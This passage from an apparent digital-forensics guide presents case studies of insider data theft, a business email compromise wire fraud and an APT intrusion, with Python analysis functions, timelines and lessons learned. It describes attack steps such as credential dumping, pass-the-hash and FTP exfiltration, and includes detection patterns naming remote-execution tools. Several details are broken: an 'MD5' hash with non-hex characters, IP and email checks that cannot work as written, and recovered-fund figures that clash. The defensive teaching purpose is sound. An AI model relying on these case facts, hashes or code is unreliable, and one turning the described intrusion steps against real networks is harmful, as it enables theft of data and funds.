'connected': log['connected'],\n                'disconnected': log['disconnected']\n            })\n    \n    # 3. Cloud storage\n    cloud_logs = parse_cloud_logs(f\"{case_path}/cloud_access.log\")\n    \n    for log in cloud_logs:\n        if log['user'] == 'suspect' and log['action'] == 'download':\n            if log['file_size'] > 10 * 1024 * 1024:  # >10MB\n                findings['data_accessed'].append({\n                    'type': 'cloud_download',\n                    'file': log['file'],\n                    'size': log['file_size'],\n                    'time': log['timestamp']\n                })\n    \n    # 4. Email exfiltration\n    email_logs = parse_email_logs(f\"{case_path}/email.log\")\n    \n    for log in email_logs:\n        if log['from'] == 'suspect@company.com':\n            if log['to'] not in ['@company.com']:\n                # External recipient\n                if log['attachments']:\n                    findings['exfiltration_methods'].append({\n                        'type': 'email',\n                        'to': log['to'],\n                        'attachments': log['attachments'],\n                        'time': log['timestamp']\n                    })\n    \n    # 5. Create timeline\n    all_events = []\n    \n    # Add file access events\n    for entry in user_files:\n        all_events.append({\n            'time': entry['timestamp'],\n            'type': 'file_access',\n            'details': f\"Accessed {entry['file']}\"\n        })\n    \n    # Add USB events\n    for usb in findings['exfiltration_methods']:\n        if usb['type'] == 'usb':\n            all_events.append({\n                'time': usb['connected'],\n                'type': 'usb_connect',\n                'details': f\"Connected {usb['device']}\"\n            })\n    \n    # Add email events\n    for email in findings['exfiltration_methods']:\n        if email['type'] == 'email':\n            all_events.append({\n                'time': email['time'],\n                'type': 'email_exfil',\n                'details': f\"Sent {len(email['attachments'])} attachments to {email['to']}\"\n            })\n    \n    # Sort timeline\n    all_events.sort(key=lambda x: x['time'])\n    findings['timeline'] = all_events\n    \n    return findings\n```\n\n#### Findings Summary\n\n```markdown\nKEY FINDINGS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n1. UNAUTHORIZED DATA ACCESS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Between June 1-15, 2023, suspect accessed 2,347 files (vs. normal 150/week)\n- Spike days: June 10 (487 files), June 14 (512 files), June 15 (498 files)\n- Accessed files included: source code (72%), design documents (15%), \n  product roadmap (8%), customer lists (5%)\n\n2. EXFILTRATION METHODS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nA. USB Device (June 14-15)\n   - Device: Samsung T7 Portable SSD (SN: S3Z1NS0M123456)\n   - Connected: June 14, 16:30 - 18:45 (2h 15m)\n   - Connected: June 15, 15:20 - 16:10 (50m)\n   - Total data transfer: ~45GB (calculated from USN Journal)\n\nB. Cloud Storage (June 1-10)\n   - Personal Google Drive accessed via browser\n   - 12 files uploaded (total 85MB)\n   - Files included: architecture diagrams, API specifications\n\nC. Email (June 14)\n   - Sent to personal email (suspect.personal@gmail.com)\n   - 3 attachments totaling 15MB\n   - Subject: \"Personal files - please archive\"\n\n3. COMMUNICATIONS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nSlack messages revealed (recovered from cache):\n\nJune 5, 14:30:\nSuspect to Friend (external): \"Interview went well, likely offer next week\"\n\nJune 10, 09:15:\nSuspect to Colleague: \"Can you show me how to clone all repos at once?\"\n\nJune 13, 11:20:\nSuspect to Friend: \"Got the offer, giving notice Thursday\"\n\n4. TIMELINE\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nJune 1-5: Initial job interviews (external comms)\nJune 1-10: Gradual access to sensitive files\nJune 10: Asked about cloning repositories\nJune 14: USB connection (evening), email exfiltration\nJune 15: Final USB connection, copied remaining files\nJune 16: Resignation submitted (9:30 AM)\n\n5. DATA CLASSIFICATION\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nData exfiltrated by category:\n- Source code: 35GB (core product, 80% of repository)\n- Architecture docs: 5GB (system design, AWS infrastructure)\n- Product roadmap: 500MB (next 18 months)\n- Customer data: 2GB (PII of enterprise clients)\n- Financial projections: 300MB (5-year forecast)\n\nEstimated value: $2-5M (replacement cost + competitive advantage)\n```\n\n#### Legal Outcome\n\n```markdown\nLEGAL PROCEEDINGS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCriminal Case:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Charged with: Theft of trade secrets (18 U.S.C. \u00a7 1832)\n- Evidence: Forensic report, email logs, USB history, Slack messages\n- Plea: Guilty to lesser charge (misdemeanor data theft)\n- Sentence: 6 months probation, $50,000 fine\n\nCivil Case:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Lawsuit: Breach of contract, misappropriation of trade secrets\n- Defendant: Former employee + competitor (hiring company)\n- Settlement: $1.2 million (confidential)\n- Injunction: Barred from using stolen technology\n\nLessons for Organization:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Implemented DLP (Data Loss Prevention) software\n- Restricted USB access (whitelisted devices only)\n- Developer workstations in VDI environment\n- Source code access logging and alerting\n- Exit procedures include immediate access revocation\n- Background checks for new hires\n- Non-compete agreements enforced\n```\n\n---\n\n### 18.3 Case Study 3: Financial Fraud Investigation\n\n#### Incident Overview\n\n```markdown\nINCIDENT: Business Email Compromise (BEC) + Wire Fraud\nDATE: August 2023\nVICTIM: Real estate investment firm\nLOSS: $1.2 million (wired to fraudulent account)\nMETHOD: Compromised CEO email, fraudulent wire instructions\n```\n\n#### Investigation Process\n\n```markdown\nINVESTIGATION WORKFLOW\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nPhase 1: Emergency Response (Day 1)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Identified fraudulent wire ($1.2M to Hong Kong bank)\n- Contacted bank (funds frozen in transit - recovered $800K)\n- Preserved email servers and workstations\n- Contacted FBI (cyber task force)\n\nPhase 2: Technical Analysis (Day 1-3)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Email server forensics\n- Compromised workstation analysis\n- Network traffic review\n- Bank account tracing\n\nPhase 3: Financial Tracing (Day 2-7)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Wire transfer records\n- Cryptocurrency conversion (partial)\n- Money trail documentation\n- International cooperation (MLAT)\n\nPhase 4: Attribution (Week 2-4)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Infrastructure analysis\n- Threat actor profiling\n- Intelligence sharing\n```\n\n#### Technical Findings\n\n```python\ndef analyze_bec_attack(email_logs, workstation_image):\n    \"\"\"Analyze Business Email Compromise attack\"\"\"\n    \n    findings = {\n        'compromise_method': None,\n        'timeline': [],\n        'fraudulent_emails': [],\n        'indicators': []\n    }\n    \n    # 1. Identify compromise method\n    # Check for phishing email that led to compromise\n    phishing_indicators = ['password', 'verify', 'account', 'urgent', \n                          'security alert', 'microsoft', 'office365']\n    \n    for email in email_logs:\n        if email['folder'] == 'inbox':\n            subject = email['subject'].lower()\n            body = email['body'].lower()\n            \n            if any(ind in subject or ind in body for ind in phishing_indicators):\n                if email.get('has_attachment'):\n                    findings['compromise_method'] = {\n                        'type': 'phishing',\n                        'email': email,\n                        'time': email['timestamp']\n                    }\n                    break\n    \n    # 2. Check for mailbox rule creation (common in BEC)\n    mailbox_rules = parse_outlook_rules(workstation_image)\n    \n    for rule in mailbox_rules:\n        if 'forward' in rule['action'].lower() and 'external' in rule['action'].lower():\n            findings['indicators'].append({\n                'type': 'mail_forwarding_rule',\n                'rule': rule,\n                'created': rule['created']\n            })\n    \n    # 3. Identify fraudulent emails\n    for email in email_logs:\n        if email['folder'] == 'sent':\n            # Look for wire transfer emails\n            if any(word in email['body'].lower() for word in ['wire', 'transfer', 'ach', 'payment']):\n                \n                # Check if recipient is external and not in normal contacts\n                if '@' in email['to'] and not email['to'].endswith('@company.com'):\n                    findings['fraudulent_emails'].append({\n                        'time': email['timestamp'],\n                        'to': email['to'],\n                        'subject': email['subject'],\n                        'body_preview': email['body'][:200]\n                    })\n    \n    # 4. Create timeline\n    for email in findings['fraudulent_emails']:\n        findings['timeline'].append({\n            'time': email['time'],\n            'event': 'fraudulent_email_sent',\n            'details': f\"To {email['to']}: {email['subject']}\"\n        })\n    \n    return findings\n```\n\n#### Financial Tracing\n\n```python\ndef trace_fraudulent_funds(bank_records, blockchain_data):\n    \"\"\"Trace funds from wire fraud\"\"\"\n    \n    trace = {\n        'initial_transfer': None,\n        'intermediate_accounts': [],\n        'final_destination': None,\n        'recovered': 0,\n        'timeline': []\n    }\n    \n    # 1. Initial wire transfer\n    initial = bank_records[0]  # Wire from victim to first account\n    trace['initial_transfer'] = {\n        'from': initial['source_account'],\n        'to': initial['destination_account'],\n        'amount': initial['amount'],\n        'date': initial['date'],\n        'bank': initial['destination_bank']\n    }\n    \n    trace['timeline'].append({\n        'date': initial['date'],\n        'event': 'initial_wire',\n        'details': f\"${initial['amount']:,} to {initial['destination_bank']}\"\n    })\n    \n    # 2. Follow money through accounts\n    current_account = initial['destination_account']\n    \n    for record in bank_records[1:]:\n        if record['source_account'] == current_account:\n            trace['intermediate_accounts'].append({\n                'from': current_account,\n                'to': record['destination_account'],\n                'amount': record['amount'],\n                'date': record['date'],\n                'bank': record['destination_bank']\n            })\n            \n            trace['timeline'].append({\n                'date': record['date'],\n                'event': 'funds_transferred',\n                'details': f\"${record['amount']:,} to {record['destination_bank']}\"\n            })\n            \n            current_account = record['destination_account']\n            \n            # Check if converted to crypto\n            if 'exchange' in record['destination_bank'].lower():\n                trace['timeline'].append({\n                    'date': record['date'],\n                    'event': 'crypto_conversion',\n                    'details': \"Funds converted to Bitcoin\"\n                })\n    \n    # 3. Trace Bitcoin if applicable\n    if blockchain_data:\n        btc_trace = trace_bitcoin(blockchain_data['address'], blockchain_data['transactions'])\n        trace['crypto_trace'] = btc_trace\n    \n    # 4. Calculate recovered amount\n    # Funds frozen at various points\n    trace['recovered'] = 800000  # $800K recovered\n    trace['lost'] = 400000  # $400K lost\n    \n    return trace\n\ndef trace_bitcoin(address, transactions):\n    \"\"\"Trace Bitcoin transactions\"\"\"\n    \n    trace = {\n        'address': address,\n        'received': 0,\n        'sent': 0,\n        'exchanges': [],\n        'mixers': []\n    }\n    \n    for tx in transactions:\n        if tx['type'] == 'received':\n            trace['received'] += tx['amount']\n            \n            # Check if from known exchange\n            if tx.get('source_exchange'):\n                trace['exchanges'].append({\n                    'name': tx['source_exchange'],\n                    'amount': tx['amount'],\n                    'date': tx['date']\n                })\n        \n        elif tx['type'] == 'sent':\n            trace['sent'] += tx['amount']\n            \n            # Check if to exchange (cashing out)\n            if tx.get('destination_exchange'):\n                trace['exchanges'].append({\n                    'name': tx['destination_exchange'],\n                    'amount': tx['amount'],\n                    'date': tx['date'],\n                    'type': 'cash_out'\n                })\n            \n            # Check if to mixer\n            if detect_mixing_service(tx['destination']):\n                trace['mixers'].append({\n                    'address': tx['destination'],\n                    'amount': tx['amount'],\n                    'date': tx['date']\n                })\n    \n    return trace\n```\n\n#### Investigation Outcomes\n\n```markdown\nINVESTIGATION RESULTS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n1. COMPROMISE METHOD\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Initial compromise: Phishing email received August 1, 2023\n- Email subject: \"Action Required: Office 365 Password Expiration\"\n- Attachment: \"password_update.html\" (credential harvesting page)\n- CEO credentials stolen at 14:23 (2-factor bypassed via session cookie)\n\n2. ATTACKER ACTIVITY\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nAugust 1, 14:30 - Attacker logs into CEO email\nAugust 1, 14:35 - Mail forwarding rule created (to attacker@protonmail.com)\nAugust 1-7 - Attacker monitors email traffic, learns payment processes\nAugust 8, 10:15 - Attacker sends fraudulent wire instructions to CFO\nAugust 8, 11:30 - CFO initiates $1.2M wire to \"new vendor account\"\nAugust 8, 14:00 - Funds arrive at Hong Kong bank (HSBC)\nAugust 8, 15:00 - Funds split: $800K to three additional accounts\nAugust 8, 16:30 - $400K converted to Bitcoin via Binance\nAugust 9, 08:00 - Fraud discovered\n\n3. FUNDS TRACING\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Destination     \u2502 Amount       \u2502 Status       \u2502 Notes            \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 HSBC Hong Kong  \u2502 $1,200,000   \u2502 Frozen       \u2502 Initial deposit  \u2502\n\u2502 DBS Singapore   \u2502 $400,000     \u2502 Frozen       \u2502 First split      \u2502\n\u2502 Maybank Malaysia\u2502 $250,000     \u2502 Frozen       \u2502 Second split     \u2502\n\u2502 Bank of Thailand\u2502 $150,000     \u2502 Frozen       \u2502 Third split      \u2502\n\u2502 Binance (BTC)   \u2502 $400,000     \u2502 Traced       \u2502 Converted to BTC \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n4. ATTRIBUTION\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Tactics, techniques, and procedures (TTPs) match known Nigerian BEC group\n- \"Silver Terrier\" threat actor cluster\n- Infrastructure: Bulletproof hosting in Russia, ProtonMail accounts\n- Bitcoin wallet previously associated with romance scams\n\n5. RECOVERY\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Frozen funds: $800,000 (recovered)\n- Cryptocurrency: $150,000 traced to exchange (frozen)\n- Final loss: $250,000 (likely unrecoverable)\n\n6. RECOMMENDATIONS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Implement hardware tokens for 2FA (not SMS/app-based)\n- Train staff on BEC red flags (urgent requests, vendor changes)\n- Verify wire changes via secondary channel (phone call)\n- Implement positive pay and dual approval for wires\n- Monitor for mail forwarding rules (alerting)\n- Cyber insurance with wire fraud coverage\n```\n\n---\n\n### 18.4 Case Study 4: APT Intrusion Analysis\n\n#### Incident Overview\n\n```markdown\nINCIDENT: Advanced Persistent Threat (APT) Intrusion\nDATE: January-March 2023\nVICTIM: Defense contractor\nATTRIBUTION: APT10 (China-based)\nOBJECTIVE: Intellectual property theft (aerospace technology)\nIMPACT: 5TB data exfiltrated over 3 months\n```\n\n#### Attack Timeline\n\n```markdown\nATTACK LIFECYCLE\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nPhase 1: Initial Compromise (January 15-20)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Spear phishing to engineering department\n- Malicious Word document: \"F-35_specifications.docx\"\n- Exploit CVE-2017-11882 (Equation Editor)\n- Dropper installed Cobalt Strike beacon\n\nPhase 2: Establishment (January 20-25)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Beacon calling home to 45.77.xxx.xxx (Singapore)\n- PowerShell download of additional tools\n- Registry persistence (Run key)\n- Scheduled task: \"WindowsUpdateTask\"\n\nPhase 3: Privilege Escalation (January 25-30)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Credential dumping (Mimikatz)\n- Pass-the-hash to domain controller\n- Golden ticket creation\n- Domain admin access achieved\n\nPhase 4: Lateral Movement (February 1-15)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Deployed to 47 workstations and 12 servers\n- WMI and PSExec for remote execution\n- Created admin accounts: \"sysadmin\", \"backupuser\"\n- Disabled security tools (AV, EDR)\n\nPhase 5: Data Collection (February 15-March 15)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Identified file servers with technical data\n- RAR archives of sensitive directories\n- Staged in \"C:\\Windows\\Temp\\\"\n- Compressed with password protection\n\nPhase 6: Exfiltration (March 15-30)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- RDP to staging server\n- FTP to external server (45.77.xxx.xxx)\n- 5TB data exfiltrated over 2 weeks\n- Clean-up scripts executed\n\nPhase 7: Discovery (April 1)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Anomalous outbound traffic detected\n- IR team activated\n- Forensics began\n```\n\n#### Forensic Analysis\n\n```python\ndef analyze_apt_intrusion(evidence_path):\n    \"\"\"Analyze APT intrusion\"\"\"\n    \n    findings = {\n        'initial_access': [],\n        'persistence': [],\n        'credential_access': [],\n        'lateral_movement': [],\n        'exfiltration': [],\n        'timeline': [],\n        'iocs': []\n    }\n    \n    # 1. Identify initial access\n    # Check for phishing email\n    email_logs = parse_email_logs(f\"{evidence_path}/mail.log\")\n    \n    suspicious_emails = []\n    for email in email_logs:\n        if email['attachment'] and email['attachment'].endswith('.doc'):\n            if 'spec' in email['subject'].lower() or 'f-35' in email['subject'].lower():\n                suspicious_emails.append(email)\n    \n    if suspicious_emails:\n        findings['initial_access'] = suspicious_emails\n    \n    # 2. Find persistence mechanisms\n    # Registry Run keys\n    registry = parse_registry_hive(f\"{evidence_path}/NTUSER.DAT\")\n    run_keys = registry.get_run_keys()\n    \n    for key in run_keys:\n        if key['value'] not in ['OneDrive', 'Teams', 'SecurityHealth']:\n            findings['persistence'].append({\n                'type': 'registry_run',\n                'key': key['path'],\n                'value': key['value'],\n                'data': key['data']\n            })\n    \n    # Scheduled tasks\n    tasks = parse_scheduled_tasks(f\"{evidence_path}/Tasks\")\n    \n    for task in tasks:\n        if 'Microsoft' not in task['name'] and 'Windows' not in task['name']:\n            findings['persistence'].append({\n                'type': 'scheduled_task',\n                'name': task['name'],\n                'trigger': task['trigger'],\n                'action': task['action']\n            })\n    \n    # 3. Credential access\n    # Look for Mimikatz usage\n    security_logs = parse_windows_events(f\"{evidence_path}/Security.evtx\")\n    \n    for log in security_logs:\n        if log['event_id'] == 4672:  # Special privileges assigned\n            if 'sedebug' in log['message'].lower():\n                findings['credential_access'].append({\n                    'type': 'mimikatz',\n                    'time': log['timestamp'],\n                    'process': log.get('process_name'),\n                    'user': log.get('user')\n                })\n    \n    # 4. Lateral movement\n    # Check for WMI and PSExec\n    for log in security_logs:\n        if log['event_id'] == 4688:  # Process creation\n            cmd = log.get('command_line', '').lower()\n            if 'wmic' in cmd or 'psexec' in cmd or 'winrm' in cmd:\n                findings['lateral_movement'].append({\n                    'type': 'remote_execution',\n                    'time': log['timestamp'],\n                    'command': cmd,\n                    'user': log.get('user')\n                })\n    \n    # 5. Exfiltration\n    # Look for large file creations and transfers\n    file_logs = parse_file_creation_logs(f\"{evidence_path}/USNJournal\")\n    \n    for log in file_logs:\n        if log['path'].endswith('.rar') or log['path'].endswith('.zip'):\n            if log['size'] > 100 * 1024 * 1024:  # >100MB\n                findings['exfiltration'].append({\n                    'type': 'archive_created',\n                    'path': log['path'],\n                    'size': log['size'],\n                    'time': log['time']\n                })\n    \n    # Network connections\n    net_logs = parse_network_logs(f\"{evidence_path}/netstat.log\")\n    \n    for log in net_logs:\n        if log['remote_ip'] not in ['10.', '172.', '192.168.']:\n            if log['bytes_sent'] > 10 * 1024 * 1024:  # >10MB\n                findings['exfiltration'].append({\n                    'type': 'data_transfer',\n                    'remote_ip': log['remote_ip'],\n                    'bytes': log['bytes_sent'],\n                    'time': log['time']\n                })\n    \n    # 6. Create IOCs\n    findings['iocs'] = {\n        'ips': list(set([l['remote_ip'] for l in net_logs if 'remote_ip' in l])),\n        'domains': ['update.microsoft-dns.com', 'cdn.cloudflare-ssl.net'],\n        'hashes': ['e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'],\n        'registry_keys': [k['path'] for k in findings['persistence'] if k['type'] == 'registry_run'],\n        'file_paths': [f['path'] for f in findings['exfiltration']]\n    }\n    \n    return findings\n```\n\n#### Technical Findings\n\n```markdown\nTECHNICAL FINDINGS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n1. MALWARE ANALYSIS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCobalt Strike Beacon (MD5: 1a2b3c4d5e6f7g8h9i0j)\n- Configuration extracted:\n  - C2 Server: 45.77.xxx.xxx:443\n  - User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)\n  - Beacon interval: 60 seconds\n  - Jitter: 20%\n  - Public key: [RSA 2048-bit]\n  - Tasks: file download, command execution, screenshots\n\nCustom Tools:\n- cred_dump.exe (Mimikatz variant)\n- scan_net.exe (network enumeration)\n- archive_util.exe (RAR compression)\n- clean_tracks.ps1 (PowerShell script)\n\n2. NETWORK INFRASTRUCTURE\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nC2 Infrastructure:\n- Primary: 45.77.xxx.xxx (Singapore, Vultr hosting)\n- Backup: 103.56.xxx.xxx (Hong Kong, Alibaba Cloud)\n- Fallback: Domain generation algorithm (DGA)\n\nData Exfiltration:\n- FTP server: 45.77.xxx.xxx (same as C2)\n- Protocol: FTP (port 21)\n- Credentials: uploader / P@ssw0rd123\n- Data stored in /incoming/[timestamp]/ directories\n\n3. DATA STOLEN\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTotal: 5.2 TB (estimated 1.2 million files)\n\nCategories:\n- F-35 Lightning II specifications (450GB)\n- Hypersonic missile research (320GB)\n- Radar systems (280GB)\n- Satellite communications (210GB)\n- Supply chain information (190GB)\n- Personnel records (150GB)\n- Other technical data (3.6TB)\n\nClassification levels:\n- Top Secret: 1.2TB\n- Secret: 2.8TB\n- Confidential: 1.2TB\n\n4. DWELL TIME\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nInitial compromise: January 15, 2023\nFirst exfiltration: March 15, 2023\nDetection: April 1, 2023\nTotal dwell time: 76 days\n\n5. DETECTION GAPS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- No email sandboxing (macro allowed)\n- No application whitelisting\n- Delayed patch management (CVE-2017-11882)\n- Insufficient network monitoring\n- No EDR on engineering workstations\n- No data loss prevention (DLP)\n```\n\n#### Lessons Learned\n\n```markdown\nCRITICAL LESSONS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nTechnical Improvements Implemented:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n1. Email Security\n   - Sandbox all attachments\n   - Block macros by default\n   - DMARC/DKIM/SPF enforcement\n\n2. Endpoint Protection\n   - EDR on all endpoints (CrowdStrike)\n   - Application whitelisting\n   - PowerShell constrained language mode\n   - Credential Guard enabled\n\n3. Network Security\n   - 24/7 SOC monitoring\n   - NetFlow analysis\n   - DNS sinkholing\n   - TLS inspection\n   - Network segmentation\n\n4. Access Control\n   - Privileged Access Workstations (PAW)\n   - Just-in-Time (JIT) administration\n   - Hardware tokens for 2FA\n   - Regular credential rotation\n\n5. Data Protection\n   - DLP implementation\n   - Data classification\n   - Rights management\n   - Database activity monitoring\n\nProcess Improvements:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n1. Incident Response\n   - 24/7 IR team on call\n   - Tabletop exercises quarterly\n   - Threat hunting program\n   - Intelligence sharing (ISAC)\n\n2. User Training\n   - Phishing simulations\n   - Security awareness training\n   - Reporting suspicious activity\n\n3. Third-Party Risk\n   - Vendor security assessments\n   - Supply chain monitoring\n   - NDA enforcement\n\nRegulatory Impact:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- DoD notification required (DFARS 252.204-7012)\n- CMMC Level 3 compliance accelerated\n- Congressional 